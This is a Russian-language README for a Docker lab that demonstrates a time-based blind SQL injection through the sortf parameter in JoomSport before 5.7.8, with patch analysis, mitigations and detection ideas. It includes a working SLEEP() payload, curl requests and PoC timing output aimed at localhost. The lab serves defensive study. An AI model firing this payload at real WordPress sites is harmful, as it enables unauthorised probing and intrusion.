Этот лабораторный стенд подтверждает уязвимость как слепую SQL-инъекцию на основе времени. Он не выполняет дамп базы данных, извлечение учётных данных, изменение данных или деструктивные SQL-операции.

Данный стенд предназначен только для контролируемого локального исследования, понимания на уровне исходного кода и демонстрации в портфолио.

## Проверенные факты

| Утверждение | Доказательство | Как проверить в этом стенде |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Сообщается, что JoomSport до версии 5.7.8 уязвим к неаутентифицированной SQL-инъекции. | Публичные уведомления об уязвимостях относят JoomSport `< 5.7.8` / `<= 5.7.7` к затронутым версиям. | Изучите раздел References и сравните уязвимую и исправленную версии сервисов. |
| JoomSport 5.7.8 — это исправленная версия. | Публичные уведомления и сравнение исходного кода показывают, что в 5.7.8 значение `sortf` проверяется перед формированием выражения сортировки. | Изучите `class-jsport-playerlist.php` в обеих версиях. |
| Затронутый параметр — `sortf`. | Уязвимый код списка игроков считывает `classJsportRequest::get('sortf')`. | Запустите PoC и наблюдайте инъецированный запрос с параметром `sortf`. |
| Уязвимый код формирует динамическое значение сортировки SQL из пользовательского ввода. | В уязвимой версии `sortf` используется для построения `$options['ordering']`. | Изучите `sportleague/classes/objects/class-jsport-playerlist.php`. |
| SQL-sink — это выражение `ORDER BY`. | Сформированное значение `$ordering` позже добавляется в SQL-запрос с `ORDER BY`. | Изучите `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| Патч использует исправление в стиле белого списка (allowlist). | Исправленная версия вводит разрешённые статические столбцы и ожидаемые шаблоны динамических полей перед использованием поля сортировки. | Сравните исходный код JoomSport 5.7.6 и 5.7.8. |
| Стенд демонстрирует слепую SQL-инъекцию на основе времени. | Уязвимая цель отвечает с задержкой при использовании инъецированного выражения `SLEEP()`; исправленная цель — нет. | Выполните `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |

## Допущения и неизвестные

В данном стенде JoomSport 5.7.6 используется в качестве уязвимой цели для сравнения, поскольку публичная исправленная версия — 5.7.8, а тега исходного кода 5.7.7 не было в списке SVN-тегов плагина на WordPress.org на момент подготовки стенда.

Стенд не утверждает, что 5.7.6 — единственная уязвимая версия. Она используется как воспроизводимая уязвимая базовая версия для сравнения уязвимого поведения с поведением исправленной версии 5.7.8.

Стенд сосредоточен на параметре `sortf` в процессе сортировки списка игроков.

Демонстрируемое воздействие — слепая SQL-инъекция на основе времени. Стенд не демонстрирует:

* прямой дамп базы данных,
* извлечение учётных данных,
* обход аутентификации,
* повышение привилегий,
* произвольное изменение данных,
* удалённое выполнение кода,
* закрепление в системе (persistence),
* внешние обратные вызовы,
* или атаки на системы, не входящие в состав стенда.

Возможно проявление error-based или boolean-based поведения в зависимости от поведения базы данных, конфигурации приложения и различий в ответах, но данный стенд не опирается на эти методы. Основное доказательство основано на временных задержках (timing-based).

## Сводка о корневой причине

Корневая причина — небезопасное формирование динамического SQL-выражения `ORDER BY` из параметра запроса `sortf`.

Уязвимый путь выполнения кода начинается в:```text
sportleague/classes/objects/class-jsport-playerlist.php

и использует его для создания:```text
$options['ordering']

Проблема в первую очередь не в параметре `sortd`. Значение `sortd` ограничено:```text
ASC
DESC

Код помещает управляемые атакующим входные данные в контекст идентификатора MySQL и затем передаёт их как фрагмент SQL-сортировки.

Код применяет:```php
sanitize_text_field()

Паттерн sink:```php
$query .= ' ORDER BY '.($ordering);

Проблема безопасности заключается в том, что приложение обрабатывает управляемый пользователем параметр запроса как идентификатор/выражение SQL без предварительной проверки его по строгому списку разрешённых значений.

## Краткое описание патча

Соответствующий патч находится в:```text
sportleague/classes/objects/class-jsport-playerlist.php

Уязвимая часть заключается в том, что `classJsportRequest::get('sortf')` используется внутри SQL-выражения сортировки.

JoomSport 5.7.8 меняет это поведение, вводя проверенную переменную поля сортировки перед построением `$options['ordering']`.

В исправленной версии инициализируется безопасное значение по умолчанию:```php
$sortFieldEsc = 'post_title';

Когда присутствует `sortf`, пропатченный код принимает его только в том случае, если он соответствует одному из ожидаемых статических значений:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

Последнее изменение, связанное с безопасностью, заключается в том, что `$options['ordering']` строится из `$sortFieldEsc` вместо необработанного значения запроса `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

После патча:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

исправленный код не присваивает это значение `$sortFieldEsc`.

Вместо этого поле сортировки возвращается к:```text
post_title

## Архитектура лаборатории

Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Процесс настройки создаёт минимальные данные JoomSport, необходимые для отображения маршрута списка игроков:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

## Быстрый старт

Запустите лабораторию:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Ожидаемые сообщения о завершении настройки:```text
[VULN] setup complete
[PATCHED] setup complete

Ожидаемые открытые сервисы:```text
http://localhost:8081
http://localhost:8082

Запустите PoC против пропатченной цели:```bash
python3 poc/poc.py http://localhost:8082

Для более стабильной статистики времени увеличьте количество раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

## Использование PoC

PoC проверяет каждую цель независимо.

Для него больше не требуются отдельные параметры `--vuln-url` или `--patched-url`. Вместо этого передайте один или несколько целевых URL-адресов в качестве позиционных аргументов:```bash
python3 poc/poc.py <target_url> [target_url...]

Если целевой URL не указан, скрипт в интерактивном режиме запросит один или несколько локальных целевых URL-адресов.

Поддерживаемые параметры:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

По умолчанию PoC отклоняет нелокальные цели.

## Как PoC принимает решение

Для каждой цели PoC выполняет две серии замеров времени:```text
[1/2] Baseline timing
[2/2] Injected timing

Внедрённый запрос использует локальную временную нагрузку в параметре `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

| Вердикт           | Значение                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | Внедренный запрос значительно медленнее базового.           |
| `PATCHED-LIKE`    | Внедренный запрос остается близким к базовому.              |
| `UNREACHABLE`     | Цель недоступна.                                            |
| `INCONCLUSIVE`    | Некоторые данные о времени отсутствовали или были неполными.|

Правило принятия решения по умолчанию:```text
injected median - baseline median >= 60% of requested SLEEP()

Это означает, что цель сообщается как `VULNERABLE-LIKE` только тогда, когда инъекционный запрос явно медленнее, чем её собственный базовый уровень.

Недостижимые или неопределённые цели не считаются исправленными.

## Ручное воспроизведение HTTP с curl

Вы можете воспроизвести проверку вручную, не используя Python PoC.

Уязвимый базовый запрос:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Запрос исправленной базовой линии:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Ожидаемое сравнение:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Expected vulnerable signal:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

### Запатченная цель

Команда:```bash
python3 poc/poc.py http://localhost:8082

### Несколько целей

Команда:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

### Недоступная цель

Если цель не запущена, PoC должен сообщать `UNREACHABLE`, а не `PATCHED-LIKE`.

Пример:```bash
python3 poc/poc.py http://localhost:8083

Недоступные цели не считаются исправленными.

## Как работает PoC

PoC проверяет маршрут списка игроков JoomSport на наличие заранее созданного поста сезона.

Целевой маршрут эквивалентен:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Это должно обеспечить нормальную сортировку списка игроков.

Внедрённый запрос использует:```text
sortf=post_title`DESC,(SLEEP(2))#

Маркер комментария `#` не даёт завершающему обратному апострофу и направлению вмешиваться во внедрённое выражение.

Это не payload со стековыми запросами. Он не внедряет:```sql
; SELECT SLEEP(2);

Подозрительные характеристики `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Ожидаемый сигнал уязвимости:```text
HTTP 200 response with significant timing delay

Возможные идеи для мониторинга продакшн-среды:

* Просматривайте журналы веб-доступа на предмет необычных значений `sortf`.
* Создавайте оповещения о ключевых словах SQL или маркерах комментариев внутри параметров сортировки.
* Отслеживайте повторяющиеся запросы к маршрутам списка игроков JoomSport с небольшими изменениями параметров.
* Отслеживайте медленные запросы к базе данных, затрагивающие таблицы списка игроков JoomSport.
* Сопоставляйте медленные запросы с публичным неаутентифицированным трафиком.
* Проверяйте, установлен ли JoomSport и является ли его версия старее 5.7.8.

## Рекомендации по смягчению последствий и примечания к патчу

Обновите JoomSport до версии 5.7.8 или более поздней.

Исправленная версия ограничивает параметр `sortf` ожидаемыми полями сортировки и шаблонами динамических полей. Неожиданные значения возвращаются к безопасному полю сортировки по умолчанию.

Рекомендации по смягчению последствий на уровне приложения:

* Обновите плагин JoomSport.
* Не публикуйте устаревшие версии плагинов на общедоступных сайтах WordPress.
* Просматривайте журналы веб-доступа на предмет подозрительных параметров `sortf`.
* Отключайте или ограничивайте затронутый функционал только в качестве временной меры, если немедленное обновление невозможно.
* Используйте правило межсетевого экрана веб-приложения в качестве временного слоя, а не замены установки патчей.
* Относитесь к динамическим идентификаторам SQL иначе, чем к обычным значениям: используйте белые списки для имён столбцов, имён таблиц, направлений сортировки и аналогичных компонентов синтаксиса SQL.

Самый важный механизм контроля — это белый список. Экранирования само по себе недостаточно для полного исправления динамических идентификаторов SQL.

## Полезные команды для проверки

Проверьте запущенные контейнеры:```bash
docker compose ps

Проверьте службы WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Запустите PoC против пропатченного сервиса:```bash
python3 poc/poc.py http://localhost:8082

Запустите PoC с большим количеством раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Проверка версий плагинов внутри WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Проверьте пропатченный исходный код:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

## Очистка

Остановите и удалите контейнеры и сети:```bash
docker compose down --remove-orphans

Удалите файлы улик, если они были созданы:```bash
rm -rf evidence/

PoC не включает полезных нагрузок для дампа баз данных, кражи учетных данных, изменения данных, закрепления, латерального перемещения или внешних обратных вызовов.

Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version